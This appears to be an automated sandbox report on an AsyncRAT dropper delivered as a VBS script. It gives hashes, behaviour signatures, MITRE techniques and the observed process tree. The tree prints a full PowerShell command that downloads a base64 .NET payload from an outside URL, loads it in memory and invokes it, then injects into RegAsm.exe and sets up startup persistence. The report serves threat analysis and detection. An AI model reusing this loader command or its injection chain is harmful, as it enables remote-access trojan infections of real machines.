asyncrat | c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4

General

Target

518a1bd0764ca25fcf36d8a55bf2ebd9.vbs
Size

238KB
MD5

518a1bd0764ca25fcf36d8a55bf2ebd9
SHA1

d6e490cdf33972c115a035631a3db91e527b0ef3
SHA256

c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4
SHA512

b746019d51c04f97c75bbbe6ae65a74521120cb73aefee0a306c09088b2b1905d25f78c5b7e220962c2c34d11dd8bff082fef8056557acdb404e577dfcf0613b
SSDEEP

48:sK0mjzlXJj5NzzBWsoMtssbs0Qs+PM/d9Z9s3XEHDzzAA:sKDF9n0JMtswebEjAsDoA

Score

10^/10

asyncrat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://contadoreshbc.com/dll_startup

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/4120-137-0x0000000000400000-0x000000000041A000-memory.dmp	asyncrat
behavioral2/memory/4120-138-0x000000000041472E-mapping.dmp	asyncrat

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

5 884 powershell.exe
11 884 powershell.exe
15 884 powershell.exe
17 884 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 884 set thread context of 4120 884 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

884 powershell.exe
884 powershell.exe
3684 powershell.exe
3684 powershell.exe
884 powershell.exe
884 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 884 powershell.exe
Token: SeDebugPrivilege 3684 powershell.exe

flow	pid	process
5	884	powershell.exe
11	884	powershell.exe
15	884	powershell.exe
17	884	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk	powershell.exe

description	pid	process	target process
PID 884 set thread context of 4120	884	powershell.exe	RegAsm.exe

pid	process
884	powershell.exe
884	powershell.exe
3684	powershell.exe
3684	powershell.exe
884	powershell.exe
884	powershell.exe

description	pid	process
Token: SeDebugPrivilege	884	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 3424 wrote to memory of 884	3424	WScript.exe	powershell.exe
PID 3424 wrote to memory of 884	3424	WScript.exe	powershell.exe
PID 884 wrote to memory of 3684	884	powershell.exe	powershell.exe
PID 884 wrote to memory of 3684	884	powershell.exe	powershell.exe
PID 884 wrote to memory of 1728	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 1728	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 1728	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 4120	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 4120	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 4120	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 4120	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 4120	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 4120	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 4120	884	powershell.exe	RegAsm.exe
PID 884 wrote to memory of 4120	884	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\518a1bd0764ca25fcf36d8a55bf2ebd9.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1=rev&a=psid?txt.4abeurp/esacfeirB/moc.sotercnocmc@aretrac/emoh/moc.sotercnocmc.liam//:sptth'))
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:884

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Done.vbs
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3684

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:1728

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4120

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
5a0a1671f3117ae81bc90e79eac37471

SHA1
e102d030a87a2d6243344b26344636e94ce13572

SHA256
228ede5639b6eeaab79ba585854e63b701147e30d8871c998208171e34d6747a

SHA512
f84a29cdc79a2788c2e2d95cc7f357661f60592a34095401b4ff585a05d08b2f6a22c38e72ecada6a88d3b1665c850719817bac9aa1e5dcdef61130779ecdbff

Download Submit
memory/884-132-0x0000000000000000-mapping.dmp

Download
memory/884-133-0x0000019F3C2A0000-0x0000019F3C2C2000-memory.dmp

Filesize
136KB

Download
memory/884-134-0x00007FFA02680000-0x00007FFA03141000-memory.dmp

Filesize
10.8MB

Download
memory/884-141-0x00007FFA02680000-0x00007FFA03141000-memory.dmp

Filesize
10.8MB

Download
memory/3684-135-0x0000000000000000-mapping.dmp

Download
memory/3684-136-0x00007FFA02680000-0x00007FFA03141000-memory.dmp

Filesize
10.8MB

Download
memory/3684-142-0x00007FFA02680000-0x00007FFA03141000-memory.dmp

Filesize
10.8MB

Download
memory/4120-137-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/4120-138-0x000000000041472E-mapping.dmp

Download

Analysis

Sharing